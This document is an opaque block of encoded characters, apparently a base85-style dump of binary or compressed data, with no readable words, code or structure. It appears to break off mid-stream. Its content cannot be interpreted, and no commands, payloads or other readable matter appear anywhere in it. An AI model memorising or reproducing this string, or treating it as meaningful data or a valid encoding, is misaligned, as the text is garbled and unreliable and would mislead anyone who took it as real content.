z(nZ*ghxLybS=0GH-;8e$shKJ4yg${Szv1kK7xlOsMh^oVcX_b8j+if4Q!>Bl&DqUI zHB{{jo^G7&a!j4yMS^jS^wuM%gWA*~dwmdlVuK@3mP?TGV#V|Ni_fh;xAdG#AGWVY z^I%Ld%dW@xq<#107Y%!tM7Zes;b&R4TqL9!Sg%?@BC;x=$Y6)TuC&_T@F}u!%6*%~{r`lV*`<+vg*;3bQon>+Sn#Osif>-Kvy4 z7_+gxBxWN&YxoAv(wl^3)-@I}FS+NMieI-C*z{9s19PeB{YKRW`?c&gfgyn|-*+7O zT=8KZ-iU)``I|tu(`%$7g@VuG0@>!PmZ?Q*%FSP@nwDR=WR*>RzM;Uv&mUxhdXLR+ zV_#!1Pj64d^VNeKVe7vvJlDb1kdu7iQRS&uqK;a}r|B43$Cb&yNVOk2da>e4zWmno zuad!!jIoL3mi+U!SKrL~^7O&`!fS(s%9!2nc|0365BO}3NVy(ipcQmIpP=w*WR|Q% za9@>TV8nW*GPYS6x2|`uMd?Nj$; zl&@Vds?U8lZ(vU2b>0DeixjQ17%uhHouUTz?}`%h8BFJWTeHSk@d+bOt&-8<_^OV> z@!QobJDa}ZDL(pbhDw`v7hO5bYy@Q~Qs)Dd+_Zm!?gc`<% zYpIDqS>K1@uq02*2W%w*Mf#!EZwB3uS}%u|wU;vOZS=<8ewSY)5Y*;2ZFO_s2Z847 z1mzE}IM--?t6QP?x|+LGm$ z;xEH`rL!Sxj3FwG12{l+XJd0p~Lch7wRNp9p1KFUzs9{ z{l3G~y)(}|$KRS6-_>91i_?|pnQ@Q%?W&FGi8<@^wL&ExNT|m#^`8BB?89Aq3Rr|k8mZ&?!X;8ckZ#3A1y)muufvMWH z6K_{XCh~WAE%9Qw&t^1)Z!B&y!HPU*?|KnoZ_M*O*=WK zH(!jYxg5`RMRj)Bk{9->$Mphd$+&E>;+7e{ZKf?6eCka>!NAuNZEu#~c^g+>ac0xR zHY|SEUCnL!zAE=whGC3d;eI~W=mw#YjRO4rA7nguUWtddGri1c40*dI@RZP%)?lZ= zuGZ#ex9w&M%^tsWlMW5=cKw7v zr>9-U1o^JyI0tdQB_zS-4ExDQ*2Bv2olRlVm-8j+PVv1lTK!s?u!Y+vvHyFG{MU*B zRoxqlcnLp`6*l$m##`I4B$suZY<*L~w1?XmcgoHCfPHqh@vQ=rgiy^RP7PZVwU@nh zjeA?WOI0EFR*m7saz2S8^?Y%674L9b9gj6u((3!5{Xmv;xtaU5vJ+u0Qtt))&zi41 z(3dfAFm0>N$7xI_efIZZ7Yd7H8+}|T@NsJ{$7~U00ghX%1J~GH_ToBHdV1PL43|o3 zjnxIYQ_!i+AjM|QEgn7Rfsxg&I-&P2Dh9WADAm~c)FpBJn%USS;M9~U+ql!QTg-Ab z6Bl>VVrMp9#f96{d=7BT_97}j81BeuzBjl!EywnNY>mAAi^%r#jjm~5;sbk3lvEWo z4%SD1*f;MK-(r1LTmSGiyZx(-qqY<|`9F}{9Eh8d>7#b}q#pm`2x+`(DN|74w&!~k zw&tBV63QKc|(lNwU2T$li0U?REVtecZ;oXSgy}(Ra%*6oVq{q0YQCd zjfJ^nW0uYmMRPB{!sw)jw}xE_LvNIBoP8Q55~$Fz$|3sf;0s~v*`ArB zlKIP1)HOR6ZgBPI-eB#JvCqCc`_9A4xf*vpFGVCbEWiI`&3?a7*9Rh-q}5;A4p}s9 z(}J4NDJh7h>*=4a$C)ZphicM#MkVl~^uuPU_0R;Z*PPyx0WMB;GmS+sht# zzq=KXZ+YQP&aQ+b9Os|<#kGHKPkX33C>EsYa!3(VX|Q2~_;Tx_I|^qE8kK^|+D%>W zr*S^~s<~QA%|`PZgDY>W9#Lmsef8<9o_ewoOU**}lo~nh?2fsyYu~Kd2c&1-c${`$ zZS`Kf?D63EJ6m>gMKK=Ny?wEy@v{2qv-v!I+wqUMQq$G^?-Btkixe-XDobow9+G$hQ{5kq~Z4Lc(RE&Br=FZ&Z6bFx@xr#J&v|A6ye^dMC?~Cx+!H6~=Mc*Ow>e zpAWdPPBC=&j$lFOz50KMz+)K3w0w z+TQ-IPGF_Z9IwWGT%psemPyp8Gw&`{Ib0F_N#cpVcp@ibceMD6_*GW*M;5h4yZf$Y ze-oE?`6zC=(w*MD9IC^sh{eeBn|e#q&a^Dp6>(|sXp88s z;v8-MCoMch(MhY=GdwMyskbEwz42c)EraEXV(6zUGjzJ9hc8e#nO0_V^8VsWzj9{0 zeY*;4s?b`u!(m6Ew~o8_Vl@Y*9Z@&ZiI^9ndwn7wX9aL8iaf4wPe|2L^= z7=2Y{Yl!UfX#EvWEJPDS7Zuw)`;j*|-O(sziy@nVDD+A5Y|f)(UORLJNCu^~{gO2mfx3L^jXRAFe!9r>Nzr|C>e+k#a=cffrZ>f(afY0C zeZZ>X7b_E3ny+oeco;CtX2snVy~D}q^ql8b>C(4&f7Dwe>Y+2kNSN)w}kN|C2*0!DNzkTWpmcjSu|-7BAk zQ`k{6g7dq6!KjWi<%hj}U*j6pkuMG`H)Z%YN-+9LcuJaSv>KnT3CzFwF57bcTZ`^P zuG~ke*9^^9s3?w_Ra&!Kw>huFG4qG^*VUK4>Gs(28M~}XhpvB};clmktFrl(Z;O1Pp#%qnlj2sV;M zarb_^k@yBy7Tp$s-u7cn2OoEKcir^9bYgLjr{6V`j>X4{>|UL2J!7!7N@7#XFso7H zw^Lsq)~E+qsjdvXOW|wbmaIaD7kUE!Wk_DXOqqW$wcBf0n!;yTFtBE_Hd zv7dIIF0|SZ&3=+V!Hd&iKWyBSS&&J|eNrt1wSA-ORN(r$35X!u_vkJ}yfjpIHSsP) z40*mASqZQtlb|MpLKR6y0?7C~O7QR4H@V^$npy?Q2*|zN&=XKbK(0ZBo`5m}at$i< z1gI0a1{Hb&$_U6cs2CY?4J!0u5-Dlg(;}f|I%t(6{d>UXaaE4IUl5wD0p-*u-YE0`C){k~J1xumXPt5HS^5j}{+}mW=$l!IKM4A*KVFkqb_tC$P-uvwYgspwO~D zv>52AP($_^0>3-)hD8c7U`S^LwHVOu2QHQcVxXZ5i1(kwibV{0%-^WJ4G~YRXBA>JEGPQ-i`11<88Vi_ zh{hhWQ+c&fS4MVjlY2Eft_MgpJoS4}h={})peKLhJ!rL5PVU{n1V3ma7_cGofC10+BKQpiokHaYaw1ooHz zRkneeVOdZ!47FMTP5`!nnqgU_W|%(S&>oD3qZo__A0dB}H&e7jS)}+GG8=MVGxULs zTtJnmWQKqeU8qJGJOM1Ce`Fw}YOtwNX$^W?4hB9`{}Y^n$)!)|NP#ldt5M9(gQJB1 z!mELzX=tP|S)d5u1gQbQzhnXa1$7#beuq9jAZ6Lqd_enCINbP~e4uqO{rRvsh#BM< zP!<4vvH<9l1wfxH0QzJRppQ;I!RHtipU`VvFmMbB_(bDILB8QlVxcpJ908H9c+gf& zT9F=wv`F#?R7@p|puXZ!2lG>PU*v9Yj4S~Bp#B`PN|U?2p&x+|0boC}0Q->z*pDoN z{m>^o1jwZl9(tn*!s$O@8)X#vHxwEGTCxDpf-q$=yAVK&J`NxN86^jx{fnpzF&vo# z4$x3v_?|ME1=f_>OR`Fc;IY>wXpA!&orXi@35X!yh>_LB0IZpKhc$*AHIj`8ng>LS z40J36e+7{7ZyC|w&=7!P$^sM^IbZQaJcmPUQ zptK0SC;-mU&?3YMB5R*VZ>0FmywoG{`{kSYv{)2WWL9S{kH3{WtmWH*^+&H?jb{kp